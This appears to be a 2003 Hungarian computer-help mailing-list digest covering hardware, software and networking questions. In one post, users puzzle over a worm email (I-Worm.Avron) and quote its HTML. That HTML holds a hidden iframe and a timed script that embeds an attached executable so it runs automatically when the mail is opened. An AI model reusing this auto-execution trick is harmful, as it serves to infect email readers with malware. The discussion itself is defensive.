+ - | [Windows] Uj hardver felismertetese parancsikonrol (mind) |
VÁLASZ |
Feladó: (cikkei)
|
Szervusztok!
Egy ugyfelem allandoan elfelejti bekapcsolni a kulso modemet gepe
inditasakor, erre fol az XP elfelejti, hogy van olyanja.
Ilyenkor vagy ujrainditja, vagy az Eszkozkezeloben ralep a Sajatgepre,
majd a "Hardvervaltozasok keresere" gombra.
A Kerdes: Hogyan lehetne parancsikont kesziteni *kozvetlenul* a muvelet
elinditasahoz?
Helytelen megoldasok:
- szoktassam ra, hogy bekapcsolja (nem szokik)
- tegye egy hosszabbitora a geppel es hagyja bekapcsolva (nem lehet)
- csereljen belso modemre (plane nem)
- tegyek ki parancsikont a devmgmt.msc-re. Na, meg ez all legkozelebb a
megoldashoz. Uakkor ott meg kattintani kell a sajatgepre, meg a gombra
is, amit nem akar. Es igaza van.
Megoldas lehet meg, ha az XP-t ra lehetne venni, hogy ne tuntesse el a
modemet, ha bekapcsolaskor nem talalja. Sot, ez lenne a legszebb.
Udv: Karacs Laszlo
|
+ - | Re: HP 4L meghibasodott (mind) |
VÁLASZ |
Feladó: (cikkei)
|
irta:
> Oreg harcostarsam, egy HP 4L meghibasodott, kattogo hangot ad,
> ha nyomtatni szeretnenk. Tudtok olyan helyet, ahol ennek a
> tipusnak a javitasaval foglalkoznak? A HP eleg elborzaszto
> arat mondott (igaz, egy ev garanciaval az egesz herkentyure).
Sajat tapasztalataim alapjan jobban jarsz, ha a HP ajanlatat valasztod,
barmilyen borsosnak is tunik. Egyreszt ok *tenyleg* ertenek hozza es
*tenyleg* meg fogjak csinalni (+ garancia!). Masreszt ez az egyeb (nem
hivatalos ) szervizekrol ez nem feltetlenul mondhato el - leginkabb nem,
amennyire en tapasztaltam.
Az esetlegesen erintett cegektol elnezest kerek, bizonyara leteznek
igazi profik is a kontarok mellett e teren. Sajnos en csak az
utobbiakkal talalkoztam, a penzt beszedtek, a hibat visszaadtak.
Udv: Karacs Laszlo
|
+ - | RE:Restricted area response team (mind) |
VÁLASZ |
Feladó: (cikkei)
|
Na bumm most + visszajott sorlimittel, talan 1x megjelinik:))
Mivel a HIX visszadobta a levelemet, h. HTML kodulasu, pedig csak 1 forrast
irtam bele, ezert +probalom a hibas sorokat atirni. Csak az a kerdes, ha
valakinek majd irok valaszt, amiben kell HTML reszlet, akkor azt is
visszautasitja a rendszer?
> Hi GURUk!
>
> >Felado : [Hungary]
> >Temakor: Restricted area response team ( 22 sor )
> >Idopont: Sat Jan 11 21:46:34 CET 2003 GURU #2886
> [...]
> >mit jelent a kovetkezo uzenet?
> >>>>
> >Attachment you sent to Litschauer Peter is intended to overwrite start
> >address at 0000:HH4F
> >To prevent from the further buffer overflow attacks apply the MSO-patch
> >>>>
> >ezt Litschauer Peter > cimrol kaptam,
> >Re: Vote seniors masters - don't miss it! subjecttel,
> >volt mellette egy attachment: AvrilLavigne.exe es logsc.doc
> >tartalommal. Ismeros ez valakinek? Ertetlenul allok a dolog elott.
>
> Ettol a peti gyerektol en is kaptam:
>
> >----- Original Message -----
> >From: >
> >To: <raba.tivadar=freemail.hu>
> >Sent: Friday, January 10, 2003 12:54 PM
> >Subject: Virusveszely! Virus warning!
> >
> >> A(z) cimrol Onnek kuldott level virust tartalmaz.
> >> The email message you have received from contains
> >virus.
> >> -------------------------------------
> >> Virusjelentes/virus report:
> >> -------------------------------------
> >> packed: UPX
> >> infected: I-Worm.Avron.b
> >> I/O error.
> >> deleted: I-Worm.Avron.b
> >> -------------------------------------
> >> Attachment: Fwd: Re: Have U requested Avril Lavigne bio? (21,7 KB)
> >
> Marmint jott valami, csak a rendszer elcsipte :)
>
> Itt van egy reszlete az uzenetnek, bocsi kicsit hosszu, de talan valaki
> tud belole valami ertelmeset kihamozni:
>
> >Received: from ns.ahol.hu (HELO ns1.ahol.hu) (80.64.65.66)
> > by fmx4.freemail.hu with SMTP; 10 Jan 2003 12:54:50 +0100
> >Received: from mvgyosz.hu ([80.64.67.226])
> > by ns1.ahol.hu (8.12.6/8.12.6) with SMTP id h0ABrfJU025671;
> > Fri, 10 Jan 2003 12:53:43 +0100
> >Message-Id: >
> >Subject: Fwd: Re: Have U requested Avril Lavigne bio?
> >From: Litschauer >
> >Date: 10 Jan 2003 11:57
> >Reply-To: Litschauer >
> >X-Priotity: 3
> >X-MSMail-Priority: Normal
> >X-Mailer: Microsoft Outlook Express 5.50
> >X-MimeOLE: Produced by Microsoft MimeOLE v 5.50
> >MIME-Version: 1.0
> >Content-Type: multipart/mixed; boundary="--ABCDEF"
> >
> >This is a multipart MIME-coded message
> >
> >---- A B C D E F
> >Content-Type: text/html; charset="us-ascii"
> >Content-Transfer-Encoding: 7bit
> >
> ><H T M L ><H E A D></H E A D><B O D Y><B R>
> ><h2>Restricted area response team (RART)</h2>
> ><br><hr>Attachment you sent to Litschauer Péter is intended to overwrite
> >start address at 0000:HH4F
> ><br>To prevent from the further buffer overflow attacks apply the
> >MSO-patch<hr>
> ><i f r a m e id="Sample" style="display:none"></iframe>
> ><s c r i p t>
> > setTimeout('f2();',5000);
> > function f2()
> > {
> > Sample.document.write('<embed src="cid:fb9E1g8d97FE6945g4AB"
> >style="display:none">');
> > }
> ></ s c r i p t>
> ></ B O D Y></ H T M L>
> >
> >----A B C D E F
> >Content-Type: audio/x-wav
> >Content-Disposition: attachment; filename="IAmWiThYoU.exe"
> >Content-Transfer-Encoding: base64
> >Content-ID: <fb9E1g8d97FE6945g4AB>
> >
> >----A B C D E F
> >Content-Type: application/msword
> >Content-Disposition: attachment; filename="logsc.doc"
> >Content-Transfer-Encoding: base64
> >Content-ID: <VIEW_FILE>
>
> ....
>
> Tovabbi jo GURUlast: Tivadar
|
+ - | Re: avi konvertalas (mind) |
VÁLASZ |
Feladó: (cikkei)
|
Hi norbi & GURUk!
>Felado : [Hungary]
>Temakor: avi konvertalas ( 6 sor )
>Idopont: Fri Jan 17 15:24:37 CET 2003 GURU #2892
[...]
>avi filmet szeretnek konvertalni mpeg-be, video cd- irok belole
>probaltam a TMPGEnc codolot de valami 130 orat ir ki a kodolasra
>ha valaki hasznalta es van tapasztalata dobjon meg egy emillel
Nem hasznaltam, csak a 130 orahoz szolnek hozza:
Leszamitva a geped teljesitmenyet (nem irtad), lehet hogy rosszul kalkulal.
Ugymint nalam a Norton Disk Doktora, mely indulaskor 4-5 orat ir a hatralevo
idore, majd 2-3 perc alatt "bekonvergal" a tenyleges ~15 perces idore.
Tovabbi jo es gyors kodolast: Tivadar
|
+ - | Re[32]: sw. beszerzes magyar kormany modra... (mind) |
VÁLASZ |
Feladó: (cikkei)
|
Hi GURUk!
Eloljaroban:
1, Nagyon szomoru, h. ott "fenn" ilyen donteseket hoznek a mi zsebunkre 8-o
2, A Torok Istvan altal leirt szoftver berlet sajnos valosag. Klienst nem
irhatsz hozza, de ha megis, akkoris bejon az, h. felhasznalot, nyomtatot
stb. kulon kell liszencelni (uj szep magyar szo). Ezt nem Te v. a vallalatod
rendszergazdaja csinalja, hanem az alkalmazast szallito ceg altal delegalt
(O: fizeti, majd benyujtja a tobbszoros szamlat) rendszergazda :((((
>Felado : Hunter
>E-mail : [Hungary]
>Temakor: Re[32]: sw. beszerzes magyar kormany modra... ( 60 sor )
>Idopont: Sat Jan 18 18:33:23 CET 2003 GURU #2893
[...]
> >Szoval az SAP egy nagyvallalati szamitogepes rendszer. A legfontosabb
> >elonye, hogy hogy *integralt*. Ez azt jelenti hogy a korabbi kulonallo
> >rendszereket (pl. konyvelo, raktarnyilvantarto, gyartasi, eszkozoket
> >nyilvantarto, stb. programokat) tudja kivaltani egy, nagy mindent
> >magaba foglalo rendszerrel.
>
>Hat ez pedig homlokegyenest ellenkezik a linuxos "keep is stupid, simple"
>elvvel. Miert jo az, ha egy 20 tonnas svajcibicskaval kell dolgozni, aminek
>az 5000 funkcioja kozul 10-re van szukseg? Nem ertem.
>[Kerem nem elohozni a lincommanderes temat, ez egesz mas sulycsoport.]
Hat elvileg az integralt rendszerek is sok kis ugyes egyszeru program
osszessege, "csak" annyi kulbseg, h. nen nyilt forrasu, keves a fejleszto
ra, azis draga. Valamint a legfontosabb nem a tenyleges felhasznalo dont,
arrol, h. a "svajcibicska" 5000 funkcioja kozul mely tizet veszi meg a cege.
Tovabbi jo fustolgest: Tivadar
|
+ - | [TELEFON] Re: kabelmodem + csomagok (mind) |
VÁLASZ |
Feladó: (cikkei)
|
Hi Sanyi & GURUk!
>Felado : [Hungary]
>Temakor: [TELEFON] kabelmodem + csomagok ( 12 sor )
>Idopont: Sun Jan 19 18:13:24 CET 2003 GURU #2894
[...]
>A Fibernet kabeles internetes szolgaltatasarol azt allitja, hogy
>csillagpontos halozat eseten, a halozat barmely pontjarol lehet
>csatlakozni. Ezt ki is probaltuk, de nalam nem ment a dolog egy ismeros
>kabelmodemjevel (ami nala rendesen mukodik). A modem nem tudott
>csatlakozni. Zavarhatja-e az a netezest, ha a kabelen csak egy csokkenett
>csomag jon (kozepcsomagnak hivtak meg nemregen), tehat szu"rik a jelet?
1, A kabel modemes szolgaltatas vetelet csak akkora "korben" tudud
"elvezni", amig ugyanabban a szegmensben vagy. Ha kikolbaszolsz, akkor ujra
kell kerni a rendszer "installalasat". Ekkor az uj helynek megfeleloen
utbaeso routerekkel "tudatjak" (beprogarmozzak) a kabelmodem IP cimet.
2, A lakasba jovo jelet feluleti hullamszuron eresztik keresztul, ezzel
savhatarolast vegeznek (elofizetett csomagnak megfeleloen). A minimal csomag
altalban VHF III savba esik, e felett hagynak a felso kabel savbol 1-2
csatornat szabadon az internetnek es az elofizetoknek kiosztott dekoderek
komonikaciojara (mar, ha vannak kodolt csatornak a kabelen). Ezeket a
csatornakat a bemeneti szuro atengedi.
Tovabbi jo "modemezest": Tivadar
|
+ - | Re: kepernyo elmentese (mind) |
VÁLASZ |
Feladó: (cikkei)
|
Hi Eszti & GURUk!
>Felado : [Hungary]
>Temakor: kepernyo elmentese ( 17 sor )
>Idopont: Sun Jan 19 11:33:12 CET 2003 GURU #2894
[...]
>Korabban nagyon egyszeru dolgom volt, ha valami problema
>adodott, megnyomtam a shift-printscreen gombokat es a
>matrix nyomtato kinyomtatta a kepernyot, meg tudtam
>mutatni, hogy ez volt a hiba. [...]
>Most meg meg nyomtatom sincs, a hibak meg jonnek.
>Tudtok valami megoldast, hogy egy gombnyomasra a
>kepernyo tartalmat tudjam rogziteni, es amikor elokerul
>a fozseni, akkor meg tudom neki mutatni, hogy mi tortent?
Win-en hasznalhatod a "Print Screen" billentyut, majd elinditasz 1
grafikai programot pl.: Paint, majd a "Szerkesztes" - "Beillesztes"
menuponttal berakod a kepet, majd elmented. (Ha a "sima" Alt+PrintScreen-t
hasznalod, akkor nem a teljes kepernyot, hanem csak az alkalmazasod, v.
hibauzenet kepernyojet tudod vagolapra tenni.)
Tovabbi jo kepernyo "fenykepezest": Tivadar
|
+ - | Re:kepernyo elmentese (mind) |
VÁLASZ |
Feladó: (cikkei)
|
Hali,
>Felado : [Hungary]
>Korabban nagyon egyszeru dolgom volt, ha valami problema adodott,
megnyomtam a shift-
>printscreen gombokat es a matrix nyomtato kinyomtatta a kepernyot, meg
tudtam mutatni, >hogy ez volt a hiba. Azutan eloszor lecsereltek a ...
a Shift+Printscreen most is jo, vagolapra teszi, a vagolap
megjelenitovel (\WINNT\system32\clipbrd.exe)lathatod is. Innet kezdve
azt csinalsz vele amit akarsz.
Udv
Levi
|
+ - | patron: hasznalhato? (mind) |
VÁLASZ |
Feladó: (cikkei)
|
Udvozletem!
Egy Canon BJ 10ex nyomtatoba vettem a napokban egy
papirboltban tintapatront. Behelyezve azt a nyomtatoba elobb alig
nyomtatott. (Csak sokadszori probalkozasra sikerult hasznalhatova
tenni -- szerencsere sikerult. De rosszabbul is jarhattam volna :()
Valoszinuleg jo regota a boltban lehetet, beszaradt. Mit lehet
ilyenkor csinalni? Szamlat ugyan kertem, ezen azonban nincs rajta
a patron gyari szama (van annak ilyen egyaltalan?), raadasul a
patronon sem talaltam serhol gyartasi idot, netan szavatossagi
idot... Ilyenkor nincs mit tenni? 7000 azert kicsit sok hogy lutrit
vegyen az ember... TIA
--
Viszontlatasra:
Dorozsmai Karoly
|
+ - | SolidEdge: file tartalma a gyorsnezoben (mind) |
VÁLASZ |
Feladó: (cikkei)
|
Udvozletem!
SolidEdve V11 (magyaritott) hasznalata soran tapasztaltam: a
sajat alkatreszek a file nyitaskor az allomanykezelo ablak
gyorsnezeteben nem latszanak. A programmal kapott
mintaallomanyok viszont igen (igaz, azok az angol valtozattal
keszultek, erre a program a nyitaskor fel is hivja a figyelmet). Ha
beleirok az eredeti (tehat angol) programmal keszitett
mintaallomanyba es mentek, a kovetkezo nyitaskor mar megint
nem lathato semmi a gyorsnezet ablqakban. (A tulajdonsagok
adatlap tartalmat viszont szepen mutatja...) Lehet-e tenni valamit,
hogy az eredendően magyar programmal keszitett avagy ezzel
utolag modosított, angol valtozattal keszitett modelek, alkatreszek
kepe is lathato legyen a gyorsnezetben? TIA
--
Viszontlatasra:
Dorozsmai Karoly
|
+ - | [TELEFON] soros vonal hosszabbitas (mind) |
VÁLASZ |
Feladó: (cikkei)
|
Hello!
A szamitogep soros portjat ossze kellene kotni a kb. 20 meterrel arrebb
talalhato modemmel. A kivant atviteli sebesseg (legalabb) 460kbps. Van erre
valamilyen bolti megoldas, vagy csinaljak kozejuk egy csavart erparos
atvitelt?
pi
|
+ - | DVD meghajto hiba (mind) |
VÁLASZ |
Feladó: (cikkei)
|
Hello!
Hitachi GD-2500 DVD meghajtom majdnem 4 eves, es intenziven hasznaltam
(tulnyomoreszt CD olvasasra). Nehany nap ota nem hajlando DVD-t olvasni.
Hiaba tisztitom meg a meghajtot es a lemezt is, nem ismeri fel a mediat.
CD-t tovabbra is rendesen olvas.
Tudtok javitasi modot, esetleg szervizt, vagy torodjek bele, hogy
megoregedett?
pi
|
+ - | File hosszusag VB6-ban (mind) |
VÁLASZ |
Feladó: (cikkei)
|
Sziasztok!
Visual Basic 6-ban szeretnem lekerdezni egy file hosszat byte-ban.
Erre van a FileLen fuggveny. Viszont ennek erteke csak Long lehet,
ami a 2 GB hatart jelenti. Nekem van ennel nagyobb meretu filem is.
Ilyenkor nem mukodik ez a fuggveny.
Mi a megoldas?
Udv: Csaba
|
+ - | [HIRDETES] Elado memoria (mind) |
VÁLASZ |
Feladó: (cikkei)
|
Elado 9db Kingstone KTC6611/64 tipusu 64MB memoria.
Ara: 18000 Ft.
Erdeklodni: Kato Janos 06209670152
|
|